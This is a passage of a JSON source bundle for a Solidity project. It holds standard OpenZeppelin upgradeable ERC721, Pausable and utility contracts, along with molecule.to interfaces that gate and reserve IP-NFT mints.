all 2**256 token ids to be minted, which in practice is impossible.\n _balances[from] -= 1;\n _balances[to] += 1;\n }\n _owners[tokenId] = to;\n\n emit Transfer(from, to, tokenId);\n\n _afterTokenTransfer(from, to, tokenId, 1);\n }\n\n /**\n * @dev Approve `to` to operate on `tokenId`\n *\n * Emits an {Approval} event.\n */\n function _approve(address to, uint256 tokenId) internal virtual {\n _tokenApprovals[tokenId] = to;\n emit Approval(ERC721Upgradeable.ownerOf(tokenId), to, tokenId);\n }\n\n /**\n * @dev Approve `operator` to operate on all of `owner` tokens\n *\n * Emits an {ApprovalForAll} event.\n */\n function _setApprovalForAll(address owner, address operator, bool approved) internal virtual {\n require(owner != operator, \"ERC721: approve to caller\");\n _operatorApprovals[owner][operator] = approved;\n emit ApprovalForAll(owner, operator, approved);\n }\n\n /**\n * @dev Reverts if the `tokenId` has not been minted yet.\n */\n function _requireMinted(uint256 tokenId) internal view virtual {\n require(_exists(tokenId), \"ERC721: invalid token ID\");\n }\n\n /**\n * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.\n * The call is not executed if the target address is not a contract.\n *\n * @param from address representing the previous owner of the given token ID\n * @param to target address that will receive the tokens\n * @param tokenId uint256 ID of the token to be transferred\n * @param data bytes optional data to send along with the call\n * @return bool whether the call correctly returned the expected magic value\n */\n function _checkOnERC721Received(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) private returns (bool) {\n if (to.isContract()) {\n try IERC721ReceiverUpgradeable(to).onERC721Received(_msgSender(), from, tokenId, data) returns (bytes4 retval) {\n return retval == IERC721ReceiverUpgradeable.onERC721Received.selector;\n } catch (bytes memory reason) {\n if (reason.length == 0) {\n revert(\"ERC721: transfer to non ERC721Receiver implementer\");\n } else {\n /// @solidity memory-safe-assembly\n assembly {\n revert(add(32, reason), mload(reason))\n }\n }\n }\n } else {\n return true;\n }\n }\n\n /**\n * @dev Hook that is called before any token transfer. This includes minting and burning. If {ERC721Consecutive} is\n * used, the hook may be called as part of a consecutive (batch) mint, as indicated by `batchSize` greater than 1.\n *\n * Calling conditions:\n *\n * - When `from` and `to` are both non-zero, ``from``'s tokens will be transferred to `to`.\n * - When `from` is zero, the tokens will be minted for `to`.\n * - When `to` is zero, ``from``'s tokens will be burned.\n * - `from` and `to` are never both zero.\n * - `batchSize` is non-zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _beforeTokenTransfer(address from, address to, uint256 firstTokenId, uint256 batchSize) internal virtual {}\n\n /**\n * @dev Hook that is called after any token transfer. This includes minting and burning. If {ERC721Consecutive} is\n * used, the hook may be called as part of a consecutive (batch) mint, as indicated by `batchSize` greater than 1.\n *\n * Calling conditions:\n *\n * - When `from` and `to` are both non-zero, ``from``'s tokens were transferred to `to`.\n * - When `from` is zero, the tokens were minted for `to`.\n * - When `to` is zero, ``from``'s tokens were burned.\n * - `from` and `to` are never both zero.\n * - `batchSize` is non-zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _afterTokenTransfer(address from, address to, uint256 firstTokenId, uint256 batchSize) internal virtual {}\n\n /**\n * @dev Unsafe write access to the balances, used by extensions that \"mint\" tokens using an {ownerOf} override.\n *\n * WARNING: Anyone calling this MUST ensure that the balances remain consistent with the ownership. The invariant\n * being that for any address `a` the value returned by `balanceOf(a)` must be equal to the number of tokens such\n * that `ownerOf(tokenId)` is `a`.\n */\n // solhint-disable-next-line func-name-mixedcase\n function __unsafe_increaseBalance(address account, uint256 amount) internal {\n _balances[account] += amount;\n }\n\n /**\n * @dev This empty reserved space is put in place to allow future versions to add new\n * variables without shifting down storage in the inheritance chain.\n * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\n */\n uint256[44] private __gap;\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/token/ERC721/extensions/ERC721BurnableUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.8.0) (token/ERC721/extensions/ERC721Burnable.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../ERC721Upgradeable.sol\";\nimport \"../../../utils/ContextUpgradeable.sol\";\nimport \"../../../proxy/utils/Initializable.sol\";\n\n/**\n * @title ERC721 Burnable Token\n * @dev ERC721 Token that can be burned (destroyed).\n */\nabstract contract ERC721BurnableUpgradeable is Initializable, ContextUpgradeable, ERC721Upgradeable {\n function __ERC721Burnable_init() internal onlyInitializing {\n }\n\n function __ERC721Burnable_init_unchained() internal onlyInitializing {\n }\n /**\n * @dev Burns `tokenId`. See {ERC721-_burn}.\n *\n * Requirements:\n *\n * - The caller must own `tokenId` or be an approved operator.\n */\n function burn(uint256 tokenId) public virtual {\n //solhint-disable-next-line max-line-length\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"ERC721: caller is not token owner or approved\");\n _burn(tokenId);\n }\n\n /**\n * @dev This empty reserved space is put in place to allow future versions to add new\n * variables without shifting down storage in the inheritance chain.\n * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\n */\n uint256[50] private __gap;\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/token/ERC721/extensions/ERC721URIStorageUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC721/extensions/ERC721URIStorage.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../ERC721Upgradeable.sol\";\nimport \"../../../interfaces/IERC4906Upgradeable.sol\";\nimport \"../../../proxy/utils/Initializable.sol\";\n\n/**\n * @dev ERC721 token with storage based token URI management.\n */\nabstract contract ERC721URIStorageUpgradeable is Initializable, IERC4906Upgradeable, ERC721Upgradeable {\n function __ERC721URIStorage_init() internal onlyInitializing {\n }\n\n function __ERC721URIStorage_init_unchained() internal onlyInitializing {\n }\n using StringsUpgradeable for uint256;\n\n // Optional mapping for token URIs\n mapping(uint256 => string) private _tokenURIs;\n\n /**\n * @dev See {IERC165-supportsInterface}\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721Upgradeable, IERC165Upgradeable) returns (bool) {\n return interfaceId == bytes4(0x49064906) || super.supportsInterface(interfaceId);\n }\n\n /**\n * @dev See {IERC721Metadata-tokenURI}.\n */\n function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {\n _requireMinted(tokenId);\n\n string memory _tokenURI = _tokenURIs[tokenId];\n string memory base = _baseURI();\n\n // If there is no base URI, return the token URI.\n if (bytes(base).length == 0) {\n return _tokenURI;\n }\n // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).\n if (bytes(_tokenURI).length > 0) {\n return string(abi.encodePacked(base, _tokenURI));\n }\n\n return super.tokenURI(tokenId);\n }\n\n /**\n * @dev Sets `_tokenURI` as the tokenURI of `tokenId`.\n *\n * Emits {MetadataUpdate}.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {\n require(_exists(tokenId), \"ERC721URIStorage: URI set of nonexistent token\");\n _tokenURIs[tokenId] = _tokenURI;\n\n emit MetadataUpdate(tokenId);\n }\n\n /**\n * @dev See {ERC721-_burn}. This override additionally checks to see if a\n * token-specific URI was set for the token, and if so, it deletes the token URI from\n * the storage mapping.\n */\n function _burn(uint256 tokenId) internal virtual override {\n super._burn(tokenId);\n\n if (bytes(_tokenURIs[tokenId]).length != 0) {\n delete _tokenURIs[tokenId];\n }\n }\n\n /**\n * @dev This empty reserved space is put in place to allow future versions to add new\n * variables without shifting down storage in the inheritance chain.\n * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\n */\n uint256[49] private __gap;\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/security/PausableUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (security/Pausable.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/ContextUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Contract module which allows children to implement an emergency stop\n * mechanism that can be triggered by an authorized account.\n *\n * This module is used through inheritance. It will make available the\n * modifiers `whenNotPaused` and `whenPaused`, which can be applied to\n * the functions of your contract. Note that they will not be pausable by\n * simply including this module, only once the modifiers are put in place.\n */\nabstract contract PausableUpgradeable is Initializable, ContextUpgradeable {\n /**\n * @dev Emitted when the pause is triggered by `account`.\n */\n event Paused(address account);\n\n /**\n * @dev Emitted when the pause is lifted by `account`.\n */\n event Unpaused(address account);\n\n bool private _paused;\n\n /**\n * @dev Initializes the contract in unpaused state.\n */\n function __Pausable_init() internal onlyInitializing {\n __Pausable_init_unchained();\n }\n\n function __Pausable_init_unchained() internal onlyInitializing {\n _paused = false;\n }\n\n /**\n * @dev Modifier to make a function callable only when the contract is not paused.\n *\n * Requirements:\n *\n * - The contract must not be paused.\n */\n modifier whenNotPaused() {\n _requireNotPaused();\n _;\n }\n\n /**\n * @dev Modifier to make a function callable only when the contract is paused.\n *\n * Requirements:\n *\n * - The contract must be paused.\n */\n modifier whenPaused() {\n _requirePaused();\n _;\n }\n\n /**\n * @dev Returns true if the contract is paused, and false otherwise.\n */\n function paused() public view virtual returns (bool) {\n return _paused;\n }\n\n /**\n * @dev Throws if the contract is paused.\n */\n function _requireNotPaused() internal view virtual {\n require(!paused(), \"Pausable: paused\");\n }\n\n /**\n * @dev Throws if the contract is not paused.\n */\n function _requirePaused() internal view virtual {\n require(paused(), \"Pausable: not paused\");\n }\n\n /**\n * @dev Triggers stopped state.\n *\n * Requirements:\n *\n * - The contract must not be paused.\n */\n function _pause() internal virtual whenNotPaused {\n _paused = true;\n emit Paused(_msgSender());\n }\n\n /**\n * @dev Returns to normal state.\n *\n * Requirements:\n *\n * - The contract must be paused.\n */\n function _unpause() internal virtual whenPaused {\n _paused = false;\n emit Unpaused(_msgSender());\n }\n\n /**\n * @dev This empty reserved space is put in place to allow future versions to add new\n * variables without shifting down storage in the inheritance chain.\n * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\n */\n uint256[49] private __gap;\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/utils/CountersUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Counters.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @title Counters\n * @author Matt Condon (@shrugs)\n * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number\n * of elements in a mapping, issuing ERC721 ids, or counting request ids.\n *\n * Include with `using Counters for Counters.Counter;`\n */\nlibrary CountersUpgradeable {\n struct Counter {\n // This variable should never be directly accessed by users of the library: interactions must be restricted to\n // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add\n // this feature: see https://github.com/ethereum/solidity/issues/4637\n uint256 _value; // default: 0\n }\n\n function current(Counter storage counter) internal view returns (uint256) {\n return counter._value;\n }\n\n function increment(Counter storage counter) internal {\n unchecked {\n counter._value += 1;\n }\n }\n\n function decrement(Counter storage counter) internal {\n uint256 value = counter._value;\n require(value > 0, \"Counter: decrement overflow\");\n unchecked {\n counter._value = value - 1;\n }\n }\n\n function reset(Counter storage counter) internal {\n counter._value = 0;\n }\n}\n"
},
"src/IAuthorizeMints.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.18;\n\nstruct SignedMintAuthorization {\n uint256 reservationId;\n string tokenUri;\n /// eth_sign(keccak256(abi.encodePacked(minter, to, reservationId, tokenUri)))\n bytes authorization;\n}\n\n/// @title IAuthorizeMints\n/// @author molecule.to\n/// @notice a flexible interface to gate token mint calls on another contract, built for IP-NFTs\ninterface IAuthorizeMints {\n /// @notice checks whether `minter` is allowed to mint a token for `to`. MAY safely revert if this is not the case.\n /// @param data bytes implementation specific data\n function authorizeMint(address minter, address to, bytes memory data) external view returns (bool);\n\n /// @notice checks whether `reserver` is allowed to reserve a token id on the target contract\n function authorizeReservation(address reserver) external view returns (bool);\n\n /// @notice called by the gated token contract to signal that a token has been minted and an authorization can be invalidated\n /// @param data implementation specific data\n function redeem(bytes memory data) external;\n}\n"
},
"src/IReservable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.18;\n\ninterface IReservable {\n function reserve() external returns (uint256);\n\n function mintReservation(address to, uint256 reservationId, string calldata _tokenURI, string calldata _symbol, bytes calldata authorization)\n external\n payable\n returns (uint256 tokenId);\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/proxy/beacon/IBeaconUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (proxy/beacon/IBeacon.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev This is the interface that {BeaconProxy} expects of its beacon.\n */\ninterface IBeaconUpgradeable {\n /**\n * @dev Must return an address that can be used as a delegate call target.\n *\n * {BeaconProxy} will check that this address is a contract.\n */\n function implementation() external view returns (address);\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/interfaces/IERC1967Upgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (interfaces/IERC1967.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev ERC-1967: Proxy Storage Slots. This interface contains the events defined in the ERC.\n *\n * _Available since v4.8.3._\n */\ninterface IERC1967Upgradeable {\n /**\n * @dev Emitted when the implementation is upgraded.\n */\n event Upgraded(address indexed implementation);\n\n /**\n * @dev Emitted when the admin account has changed.\n */\n event AdminChanged(address previousAdmin, address newAdmin);\n\n /**\n * @dev Emitted when the beacon is changed.\n */\n event BeaconUpgraded(address indexed beacon);\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/utils/StorageSlotUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/StorageSlot.sol)\n// This file was procedurally generated from scripts/generate/templates/StorageSlot.js.\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Library for reading and writing primitive types to specific storage slots.\n *\n * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.\n * This library helps with reading and writing to such slots without the need for inline assembly.\n *\n * The functions in this library return Slot structs that contain a `value` member that can be used to read or write.\n *\n * Example usage to set ERC1967 implementation slot:\n * ```solidity\n * contract ERC1967 {\n * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;\n *\n * function _getImplementation() internal view returns (address) {\n * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;\n * }\n *\n * function _setImplementation(address newImplementation) internal {\n * require(Address.isContract(newImplementation), \"ERC1967: new implementation is not a contract\");\n * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;\n * }\n * }\n * ```\n *\n * _Available since v4.1 for `address`, `bool`, `bytes32`, `uint256`._\n * _Available since v4.9 for `string`, `bytes`._\n */\nlibrary StorageSlotUpgradeable {\n struct AddressSlot {\n address value;\n }\n\n struct BooleanSlot {\n bool value;\n }\n\n struct Bytes32Slot {\n bytes32 value;\n }\n\n struct Uint256Slot {\n uint256 value;\n }\n\n struct StringSlot {\n string value;\n }\n\n struct BytesSlot {\n bytes value;\n }\n\n /**\n * @dev Returns an `AddressSlot` with member `value` located at `slot`.\n */\n function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `BooleanSlot` with member `value` located at `slot`.\n */\n function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `Bytes32Slot` with member `value` located at `slot`.\n */\n function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `Uint256Slot` with member `value` located at `slot`.\n */\n function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `StringSlot` with member `value` located at `slot`.\n */\n function getStringSlot(bytes32 slot) internal pure returns (StringSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `StringSlot` representation of the string storage pointer `store`.\n */\n function getStringSlot(string storage store) internal pure returns (StringSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := store.slot\n }\n }\n\n /**\n * @dev Returns an `BytesSlot` with member `value` located at `slot`.\n */\n function getBytesSlot(bytes32 slot) internal pure returns (BytesSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `BytesSlot` representation of the bytes storage pointer `store`.\n */\n function getBytesSlot(bytes storage store) internal pure returns (BytesSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := store.slot\n }\n }\n}\n"
},
"lib/openzeppelin-contracts/contracts/interfaces/IERC1271.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC1271.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC1271 standard signature validation method for\n * contracts as defined in https://eips.ethereum.org/EIPS/eip-1271[ERC-1271].\n *\n * _Available since v4.1._\n */\ninterface IERC1271 {\n /**\n * @dev Should return whether the signature provided is valid for the provided data\n * @param hash Hash of the data to be signed\n * @param signature Signature byte array associated with _data\n */\n function isValidSignature(bytes32 hash, bytes memory signature) external view returns (bytes4 magicValue);\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/token/ERC721/IERC721Upgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC721/IERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165Upgradeable.sol\";\n\n/**\n * @dev Required interface of an ERC721 compliant contract.\n */\ninterface IERC721Upgradeable is IERC165Upgradeable {\n /**\n * @dev Emitted when `tokenId` token is transferred from `from` to `to`.\n */\n event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.\n */\n event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.\n */\n event ApprovalForAll(address indexed owner, address indexed operator, bool approved);\n\n /**\n * @dev Returns the number of tokens in ``owner``'s account.\n */\n function balanceOf(address owner) external view returns (uint256 balance);\n\n /**\n * @dev Returns the owner of the `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function ownerOf(uint256 tokenId) external view returns (address owner);\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must have been allowed to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(address from, address to, uint256 tokenId) external;\n\n /**\n * @dev Transfers `tokenId` token from `from` to `to`.\n *\n * WARNING: Note that the caller is responsible to confirm that the recipient is capable of receiving ERC721\n * or else they may be permanently lost. Usage of {safeTransferFrom} prevents loss, though the caller must\n * understand this adds an external call which potentially creates a reentrancy vulnerability.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(address from, address to, uint256 tokenId) external;\n\n /**\n * @dev Gives permission to `to` to transfer `tokenId` token to another account.\n * The approval is cleared when the token is transferred.\n *\n * Only a single account can be approved at a time, so approving the zero address clears previous approvals.\n *\n * Requirements:\n *\n * - The caller must own the token or be an approved operator.\n * - `tokenId` must exist.\n *\n * Emits an {Approval} event.\n */\n function approve(address to, uint256 tokenId) external;\n\n /**\n * @dev Approve or remove `operator` as an operator for the caller.\n * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.\n *\n * Requirements:\n *\n * - The `operator` cannot be the caller.\n *\n * Emits an {ApprovalForAll} event.\n */\n function setApprovalForAll(address operator, bool approved) external;\n\n /**\n * @dev Returns the account approved for `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function getApproved(uint256 tokenId) external view returns (address operator);\n\n /**\n * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.\n *\n * See {setApprovalForAll}\n */\n function isApprovedForAll(address owner, address operator) external view returns (bool);\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/token/ERC721/IERC721ReceiverUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721Receiver.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @title ERC721 token receiver interface\n * @dev Interface for any contract that wants to support safeTransfers\n * from ERC721 asset contracts.\n */\ninterface IERC721ReceiverUpgradeable {\n /**\n * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}\n * by `operator` from `from`, this function is called.\n *\n * It must return its Solidity selector to confirm the token transfer.\n * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.\n *\n * The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`.\n */\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/token/ERC721/extensions/IERC721MetadataUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC721Upgradeable.sol\";\n\n/**\n * @title ERC-721 Non-Fungible Token Standard, optional metadata extension\n * @dev See https://eips.ethereum.org/EIPS/eip-721\n */\ninterface IERC721MetadataUpgradeable is IERC721Upgradeable {\n /**\n * @dev Returns the token collection name.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the token collection symbol.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.\n */\n function tokenURI(uint256 tokenId) external view returns (string memory);\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/utils/StringsUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/Strings.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./math/MathUpgradeable.sol\";\nimport \"./math/SignedMathUpgradeable.sol\";\n\n/**\n * @dev String operations.\n */\nlibrary StringsUpgradeable {\n bytes16 private constant _SYMBOLS = \"0123456789abcdef\";\n uint8 private constant _ADDRESS_LENGTH = 20;\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\n */\n function toString(uint256 value) internal pure returns (string memory) {\n unchecked {\n uint256 length = MathUpgradeable.log10(value) + 1;\n string memory buffer = new string(length);\n uint256 ptr;\n /// @solidity memory-safe-assembly\n assembly {\n ptr := add(buffer, add(32, length))\n }\n while (true) {\n ptr--;\n /// @solidity memory-safe-assembly\n assembly {\n mstore8(ptr, byte(mod(value, 10), _SYMBOLS))\n }\n value /= 10;\n if (value == 0) break;\n }\n return buffer;\n }\n }\n\n /**\n * @dev Converts a `int256` to its ASCII `string` decimal representation.\n */\n function toString(int256 value) internal pure returns (string memory) {\n return string(abi.encodePacked(value < 0 ? \"-\" : \"\", toString(SignedMathUpgradeable.abs(value))));\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.\n */\n function toHexString(uint256 value) internal pure returns (string memory) {\n unchecked {\n return toHexString(value, MathUpgradeable.log256(value) + 1);\n }\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.\n */\n function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {\n bytes memory buffer = new bytes(2 * length + 2);\n buffer[0] = \"0\";\n buffer[1] = \"x\";\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = _SYMBOLS[value & 0xf];\n value >>= 4;\n }\n require(value == 0, \"Strings: hex length insufficient\");\n return string(buffer);\n }\n\n /**\n * @dev Converts an `address` with fixed length of 20 bytes to its not checksummed ASCII `string` hexadecimal representation.\n */\n function toHexString(address addr) internal pure returns (string memory) {\n return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH);\n }\n\n /**\n * @dev Returns true if the two strings are equal.\n */\n function equal(string memory a, string memory b) internal pure returns (bool) {\n return keccak256(bytes(a)) == keccak256(bytes(b));\n }\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/utils/introspection/ERC165Upgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC165Upgradeable.sol\";\nimport \"../../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Implementation of the {IERC165} interface.\n *\n * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\n * for the additional interface id that will be supported. For example:\n *\n * ```solidity\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);\n * }\n * ```\n *\n * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\n */\nabstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable {\n function __ERC165_init() internal onlyInitializing {\n }\n\n function __ERC165_init_unchained() internal onlyInitializing {\n }\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n return interfaceId == type(IERC165Upgradeable).interfaceId;\n }\n\n /**\n * @dev This empty reserved space is put in place to allow future versions to add new\n * variables without shifting down storage in the inheritance chain.\n * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\n */\n uint256[50] private __gap;\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/interfaces/IERC4906Upgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (interfaces/IERC4906.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC165Upgradeable.sol\";\nimport \"./IERC721Upgradeable.sol\";\n\n/// @title EIP-721 Metadata Update Extension\ninterface IERC4906Upgradeable is IERC165Upgradeable, IERC721Upgradeable {\n /// @dev This event emits when the metadata of a token is changed.\n /// So that the third-party platforms such as NFT market could\n /// timely update the images and related attributes of the NFT.\n event MetadataUpdate(uint256 _tokenId);\n\n /// @dev This event emits when the metadata of a range of tokens is changed.\n /// So that the third-party platforms such as NFT market could\n /// timely update the images and related attributes of the NFTs.\n event BatchMetadataUpdate(uint256 _fromTokenId, uint256 _toTokenId);\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/utils/introspection/IERC165Upgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165Upgradeable {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol": {
